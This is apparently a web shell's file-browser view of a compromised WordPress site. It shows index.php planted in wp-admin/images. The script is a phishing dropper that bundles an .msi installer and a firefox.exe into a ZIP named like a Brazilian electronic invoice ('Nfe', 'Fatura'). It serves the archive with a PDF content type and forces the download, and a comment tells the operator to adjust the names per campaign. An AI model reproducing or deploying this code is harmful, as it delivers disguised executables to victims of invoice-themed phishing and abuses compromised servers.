D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
var
/
www
/
html
/
wp-admin
/
images
/
Filename :
index.php
back
Copy
<?php include 'titulo.php'; function randomPassword() { $alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890@!#%.+_"; $pass = array(); $alphaLength = strlen($alphabet) - 1; for ($i = 0; $i < 4; $i++) { $n = rand(0, $alphaLength); $pass[] = $alphabet[$n]; } return implode($pass); //turn the array into a string } $ppk1 = "✈N-f-e©-".$titulo1.".msi"; $ppk2 = "Nfe-".$titulo2.".zip"; //$titulo1 = "Fatura."; //mude aqui de acordo com sua campanha //$titulo2 = "Fatura."; $zip = new ZipArchive(); if( $zip->open( './zips/'.$ppk2 , ZipArchive::CREATE ) === true){ $zip->addFile( './zips/ppeks.msi' , $ppk1 ); $zip->addFile( './zips/firefox.exe' , ' - ' ); $zip->close(); $arquivo = "./zips/".$ppk2; $download_size = filesize($arquivo); $filename = basename($arquivo); header ("Content-type: application/pdf"); header("Content-Length: $download_size"); header ("Content-disposition: attachment; filename=$filename;"); header ("Content-Description: Download File"); header("Content-Type: application/force-download"); readfile("$arquivo"); unlink('./zips/'.$ppk2); } ?>